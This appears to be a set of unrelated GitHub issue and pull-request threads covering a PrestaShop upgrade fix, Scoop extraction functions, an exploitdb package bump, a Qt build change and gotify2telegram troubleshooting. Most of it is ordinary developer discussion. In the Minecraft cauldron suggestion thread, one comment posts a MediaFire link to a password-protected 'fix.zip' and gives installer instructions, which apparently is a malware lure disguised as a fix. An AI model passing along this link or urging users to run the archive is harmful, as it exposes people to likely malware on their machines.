Install PS <IP_ADDRESS>, then add to this PS an RTL language. Then upgrade your PS version to <IP_ADDRESS>, then go to the homepage you shouldn't see the bug describe by the issue and your RTL files must be regenerated. You also have to try an upgrade by disabling the RTL regenerate option

Possible impacts?
This can impact the all upgrade process

I'm waiting for wording form @MatShir

The wording was in the issue! So you can review thx 😄

Hello @tegbessou
Thanks for the fix. @khouloudbelguith  and me are checked this PR and verified that the issue is fixed.
https://watch.screencastify.com/v/eWIGzMfG9zZqXfKbuU61
Here the tested versions :

Upgrade de 16124 => 178x & RTL option enabled
Rollback 178x => 16124 ==> ok
Upgrade de 16124 => 178x & RTL option disabled
Rollback 178x => 16124  ==> ok
Upgrade 1778 => 178x & RTL option enabled
Rollback 178x => 1778 => ok
Upgrade 1782 => 178x & RTL option enabled
Rollback 178x => 1782 => ok
Upgrade de 1769 => 178x & RTL option disabled
Rollback 178x => 1769 => ok

So, we can confirm this PR : QA:heavy_check_mark:
Thank you!

Thank you for your QA 😄

Thanks @tegbessou & @HanaRebaiQA!


decompress.ps1: Rewrite extract_xxx functions

PART II of https://github.com/lukesampson/scoop/pull/3169

Combine lessmsi_config, extract_lessmsi into extract_msi (unique function, switch by MSIEXTRACT_USE_LESSMSI) (Should fix #3120, #3198)
Rewrite unpack_inno to extract_inno and handle InnoSetup in dl_urls with extract_inno
Use Expand-Zipfile function in scoopinstaller/install as new extract_zip
Use &(file_path 7zip 7z.exe) instead of 7z shim to avoid error caused by scoop install 7zip 7zip-zstd; scoop uninstall 7zip-zstd
extract_xxx now have similar params ($path, $to, $recurse)
Remove unused condition in depends.ps1

If merged, unpack_inno in extras/hxd and extras/peerblock should be renamed.
Now there is only one test in Scoop-Decompress.Tests.ps1 and it should be improved. But since the decompress tools (7zip, innounp, lessmsi) need to be installed, I'm not sure how to do it.
Please test and review. @r15ch13 @rasa @Ash258 @h404bi

Fix #3080 in https://github.com/lukesampson/scoop/pull/3204/commits/079c4a57269a2a570e29d4326fcb615e98f0b0b4

Could you add more tests to increase the test coverage of the decompress functionality? Such as extracting .tar.*, etc.

I'm trying to, but further test cases need 7zip, lessmsi, innounp (and maybe dark?). I'm not sure appveyor could install these tools just for testing. If it could, I could add more. Otherwise, I would try to seperate some function except for actually extraction for testing param passthru.

7-Zip 18.05 is available on Appveyor: https://www.appveyor.com/docs/windows-images-software/#tools
Will try adding lessmsi and innounp (test branch: https://github.com/lukesampson/scoop/tree/appveyor-tests)

You could always use scoop installing as backup plan, if there is no better solution. Create the last test case in which you just do something like bin\scoop.ps1 refresh; bin\scoop.ps1 install <whatever you like> in beginning.  And then test these extractions.

It's better to use scoop installed 7zip lessmsi and innounp, since decompress.ps1 use these ones. Using just 7z x will lead to some errors in practice, so I change it to &(libpath 7zip 7z.exe).

You could always use scoop installing as backup plan, if there is no better solution. Create the last test case in which you just do something like bin\scoop.ps1 refresh; bin\scoop.ps1 install <whatever you like> in beginning.  And then test these extractions.

I'll try to do some more test cases.

Just downloads lessmsi and innounp: https://github.com/lukesampson/scoop/commit/1facb58149fef030059122781cab6ed8b8ec38bd
Will not work by using file_path() though.
https://ci.appveyor.com/project/lukesampson/scoop/builds/23155191/job/ij3b30cvq9as63hk

Sorry for so many force-push, I've tested CI with installing tools by scoop and achieved the goal with a simplified install_app_ci function forked from install_app.
Now I could add more test cases with these installed tools.
PS. I'm not familiar with Pester's Tag, and I want to make some tweak in test\bin\test.ps1 that it wouldn't test Decompress.Tests.ps1 while decompress.ps1 is not changed. Please review the two test files and make sure it works.

@h404bi @r15ch13 @Ash258 Test cases for all extract_xxx functions are done. Please see CI result and relevant source codes.
Please test and review, thanks.

Anyone could comment? I'm working on some universal exe unpacking functions, but it is base on this PR.

I should have enough time today for some deep review. Expect comments / approval about 9PM CET

Adding dark as an available extractor would be nice too.
Apps depending on dark for extraction:

https://github.com/lukesampson/scoop/blob/master/bucket/mro.json
https://github.com/lukesampson/scoop/blob/master/bucket/plex-server.json
https://github.com/lukesampson/scoop-extras/blob/master/bucket/plex-player.json

Dark would be nice, but it would be hard to make it generic.
NSIS would be nice and pretty easy. It is always same. $PLUGINSDIR folder with 32-app.7z and / or 64-app.7z

@Ash258 👍 for NSIS
In case of dark, it would be enough to just get everything from the AttachedContainer directory. The rest has to be added as a custom script, or just extract every msi file found.

So I will review this and then new PR for NSIS and Dark (seperate in best scenario) should be easier. I will be leaving office in 10 minute, so review should be in next hour (or 2 I hope)

Thanks @Ash258, I'll adopt your review later today. (maybe in one commit)
For universal exe extraction, I've made it but based on this PR, it named unpack_xxx and include NSIS, WIX, nupkg, Inno. After this merged, I'll submit it.

In case of dark, it would be enough to just get everything from the AttachedContainer directory. The rest has to be added as a custom script, or just extract every msi file found.

@r15ch13 Please see https://github.com/lukesampson/scoop/pull/3197 for a complex wix example. For empty *.msi(path.msi, pip.msi), msiexec will crash and lessmsi will output an error but go on. Removing them before extraction is the only solution.

Add a new config 7ZIPEXTRACT_USE_EXTERNAL, set this to true could suppress installing 7zip as deps and user could use your external 7zip to extract file.
This will close #3287, #3230

All of previous comments were fixed, so i will static review it again and then will fire up some docker for tests.
Should have enough time for this on Tuesday. So again around 9PM CET expect some comments or LGTM.

Is it all?
I should have time today in office to test some manifests installation and today / tomorrow it could be merged
SideNote: Could you look into https://github.com/lukesampson/scoop-extras/pull/2021#issuecomment-484182951 in next PR? Edit Expand-7zip function with some optional [ValueFromRamainingArguments] $Arguments # Or just string whatever and then call 7z x .. @Arguments

It should be enough for a single PR.
I'll add some universal exe unpacker functions in the next PR, and check the commit for NSIS unpacker.

Tested:

[x] acmesharp for simple zip archive
[x] skype for innosetup
[x] chroma for tar.gz
[x] gnupg1 for exe => .7z overwrite
[x] aws for msi
[x] brotli for tar.xz
[x] coreutils for tar.lzma

Tested:
* [x]  `acmesharp` for simple zip archive

* [x]  `skype` for innosetup

* [x]  `chroma` for tar.gz

* [x]  `gnupg1` for exe => .7z overwrite

* [x]  `aws` for msi

* [x]  `brotli` for tar.xz

* [x]  `coreutils` for tar.lzma

Will you do more tests on it?

I don't think so. I would put it into wild.

Could you please adopt deprecation warning to old functions (extract_7z, ..) after #3341 is merged??
https://github.com/lukesampson/scoop/pull/3341#discussion_r277161710
Just merge master and add `Show-DeprecationMessage $MyInvocation 'New-Name'

Okay, let's move on.

It's ready to merge. @r15ch13 @Ash258

@niheaven some of the tests are failing
https://ci.appveyor.com/project/lukesampson/scoop/builds/24128381/job/msr3s7k9kld9qa4g

Also install_app_ci should check if the program is already available. Otherwise it will always download (or load the file from cache) and install it on each run of Invoke-Pester

Fixed with https://github.com/lukesampson/scoop/commit/79a6d5cb04c11c191a8c26e3e7f061b1da2c80ac https://github.com/lukesampson/scoop/commit/f919a3c7c17e370e8e88cafd03a1fa5d2e205600 https://github.com/lukesampson/scoop/commit/ff15d1d69f9819512bbc07474bc45801994a8b91

@r15ch13 Thanks, I'm not familliar with Pester...


Create "Explore our Data Archive" module for homepage

💡 Description
The "Explore our Data Archive" module needs to be created for the homepage.  See Figma for MVP designs.
This module is also known as "Topic Card Section, 6-Up (Explore)"
⚔ Parent Epic / Related Tickets
No response

@tloubrieu-jpl Since you're having issues with ZenHub during our standup, just wanted to provide status here that I'm currently working on this ticket.

As one can see above, we've made progress on this module which has consisted of:

Adding the infrastructure for the module itself housed in a new component called ExploreTopicsSixUp
Created a new Tabs Component
Refactored our existing Card Component
Added configuration to handle responsiveness

Outstanding items as of now:

Create new button component
Create "text" card component variant
Update card responsiveness behavior
Fix button spacing issue
Fix tab bar's glitch when hovering

This (and related issues) will have PRs shortly


Remove invalid comparison

Fixes #831

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/aws-professional/services.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/aws-professional/services.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


exploitdb: 2024-05-05 -> 2024-05-09

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2024-05-05...2024-05-09
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 310368 run on x86_64-linux 1

1 package built:

exploitdb


Powertoys Run Web Bookmarks

Description of the new feature / enhancement
A user opens powertoys run runner and starts typing the title of one of the bookmarks from their browser. The bookmark appears in the list of search results, when the user selects the item it will launch their browser opening the bookmark.
The results from the plugin should be ordered by most recently used.
A suitable prefix should be chosen to indicate specifically you are looking for bookmarks.
Scenario when this would be used?
As a user when I know what of my commonly visited pages I want to open I don't want to have to click multiple icons (Edge -> Bookmarks -> Bookmark) or launch Edge and start typing in the address bar, only for the browser to be unsure if I am typing a search or web address.
A simple powertoys run plugin would allow to get into the pages I want with very few keystrokes.
Supporting information
The Bookmarks/Favorites for Edge are easily accessible from A Json file in
https://docs.microsoft.com/en-us/answers/questions/175630/where-does-ms-edge-chromium-store-favorites.html
I assume Chrome is the same, and am sure we could find where Firefox stores it's.
I would be happy to look into implementing this, although my background is more C/C++ than C#, if someone wants to discuss specifications and an approach.

/dup #8283


Rename sffnctx.Apex* to represent Class and Trigger

https://gus.lightning.force.com/lightning/r/ADM_Work__c/a07EE000007nUibYAE/view

Looks like I'll need to update parseCloudEvent...
sfcontext:
        "eyJhcGlWZXJzaW9uIjoiNTAuMCIsI...9fQ==",```

Going to bring this in to main, to prep for a release after the dreamforce deploy moratorium.


reaplace includedirs with sysincludedirs

I think Qt should be included with -isystem  instead of -I

Hi,
Would you mind explaining why ? Is it a source of problem for you ?

HI,
isystem must be used for including third party headers.
With isystem if the headers contains a warning does not affect to your build.
It matters  especially when  you build with -Wall and -Werror enabled.
In summary:
Own headers better with -I
System or third party headers better with -isystem

Hmmm, I'm not really comfortable with this change : when you change something like this, it changes for every project that currently use this addon without problems.
So I won't merge this pull request, but I'm open to a new one that would make this an option. For instance a simple api command like "qtusesysincludedirs". If it's explicitly set to true, then the addon would use sysincludedirs, otherwise it keeps the current behavior.


Include README in each algorithm folder

Since this is a huge collection of algorithms, It would be better to include a README in each algorithm folder that includes how the algorithm works. We can also add the time/space complexity if possible and some basic usages of the code. This will prevent the code from becoming a huge mess and will auto document it as well.

I think code level documentation supports what you require. But this can be good for people who are just navigating on GitHub.
Nevertheless, this is good enhancement. Feel free to raise a PR for the same.


[Suggestion] Cauldron with Purified Water

Using water filter on a Cauldron filled with water should basically give a purified water for leather flask to refill. But heating it first with campfire or fire block.

Also when Leather Flask has like minimum use like 1 use or 2 uses. Just putting the liquid aside with the cauldron can be time saving.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

The cauldron isn't that type of block in the game. It would require reworking significant minecraft game mechanics to even achieve this. I'm not going to implement this.


How to recursive but output in sub folder?

I have this kind of folder structure:
Main Folder

Genre 1
Genre 2

I want to run the script recursively from the main folder and when in goes into Genre 1 I want it to make the folders inside of Genre 1 and once it finishes all the Genre files and moves onto Genre 2 I want all the files that were in Genre 2 to be turned into folders in Genre 2.
Currently it throws everything into main folder.
Is there a way to do this?

If -DestinationPath isn't specified, it will default to the -Path folder as the output which is why you're running into that issue.
You could just go one-by-one into the Genre folders:
Javinizer -Path 'C:\MainFolder\Genre1'
Javinizer -Path 'C:\MainFolder\Genre2'
Javinizer -Path 'C:\MainFolder\Genre3'

Or you could write a loop to run Javinizer if you have a lot of folders
# Specify your Main Folder path
$folderPath = 'C:\MainFolder'

# Gets all the folders inside your Main Folder
$genreFolders = Get-ChildItem -Path $folderPath -Directory

# Runs Javinizer individually on each folder inside your main folder
$genreFolders | ForEach-Object { Javinizer -Path $_ }

# One-liner
gci 'C:\MainFolder\' -Directory | % { Javinizer $_ }

For each of the Javinizer commands, add -Recurse if your genre folders aren't flat.

Closed


Upgrade to MP Health 2.0

should be resolved by https://github.com/smallrye/smallrye-health/pull/43


No messages on Telegram BOT

I tried to send a notification from Proxmox, both to the Gotify APPS "Proxmox" and directly to the auto generated application "Gotify 2 Telegram". The message arrives on Gotify but the messages are not forwarded to Telegram.
Logs do not show errors. How can I debug?
This is the configuration:

Hello @protontrigg3r,
I apologize for the delayed response. I've built a deployment environment like yours, and everything works fine.
Could you please check the following:

Is your GOTIFY_CLIENT_TOKEN value correct?
Please check the port value in YOUR_GOTIFY_IP. If you are running Docker, the port value must be set to the application's port in the container (default is 80).

Let me know if you need any more help!

I observed the same issue.
However, the testing works, is there a limit on the message size?

I observed the same issue. However, the testing works, is there a limit on the message size?

Hello @tchekoto, I've created a long message and sent it to the Gotify server. Everything ran perfectly.
On Gotify dashboard:

On telegram:

A backup report from Proxmox is like 25k chars on 322 lines.
Can you try with this size ?
Lorem ipsum generator might help: https://www.lipsum.com/

Hi @tchekoto,
Currently, the Telegram Bot API only supports 4096 characters per message (Ref: Telegram Bot API).
If you still want to send your Proxmox report, I'll add support for longer messages in the next release.

Hi
Thank you for the investigation and the explanation.
Would it be possible to truncate long message ? Maybe with a parameter (4096 char seam to be touch much anyway in a log and the top of the report contains the details).

To tackle this problem, I'm thinking of two solutions:

I will break the report into many sub-messages, then send them consecutively to your Telegram.
Or I will compress it into a file (html, pdf or zip) so you can download and view it.

Which option do you prefer? Just let me know.
Thank you!

Can you pick option 1 and leave an option to send the first message only ?

Hello @anhbh310 and thanks for your help

Is your GOTIFY_CLIENT_TOKEN value correct?

Yes, I copy-and-paste the value from Gotify interface to gotify.service

Please check the port value in YOUR_GOTIFY_IP. If you are running Docker,

I'm not using Docker, so I set the port where the service is running (3000).
ss -lnp | grep gotify
tcp   LISTEN 0      4096               *:3000           *:*    users:(("gotify",pid=624,fd=9))

I will break the report into many sub-messages, then send them consecutively to your Telegram.

For me this would be fine

I updated the Gotify server to version 2.5.0 and gotify2telegram to version 1.1.0 but still haven't been able to get things working.
The logs do not report errors and the test message sent by Proxmox is delivered on Gotify but not on the Telegram channel (where I turn off the Group Privacy setting).
There appears to be no communication between the Gotify server and the gotify2telegram client. I checked the values of GOTIFY_CLIENT_TOKEN/TELEGRAM_CHAT_ID/TELEGRAM_BOT_TOKEN several times, so I guess the problem might be the value of GOTIFY_HOST.
I'm not using SSL so the Gotify server runs in plain HTTP on port 3000 (to use port 80 I would have to run gotify as root...): It is possible that the problem remains on "GOTIFY_HOST=ws:/ /localhost:3000" setting?

In case it may be useful to others: from console I run:
curl https://api.telegram.org/bot<bot-api-token>/getUpdates
The output give me a new Chat-ID value and after updating the environment variable TELEGRAM_CHAT_ID with this value, everything was fine.

Glad to know that, thanks for sharing. If you want to contribute to the project, please add your contributions to the README.md and create a pull request.

Can you pick option 1 and leave an option to send the first message only ?

I will break the report into many sub-messages, then send them consecutively to your Telegram.

For me this would be fine

Regarding handling long messages, I've added a new feature inspired by your suggestions. You can get it from the latest release v1.1.1. However, these pre-built .so files only support Gotify v2.5.0. If you want to use other versions, please recompile it from source.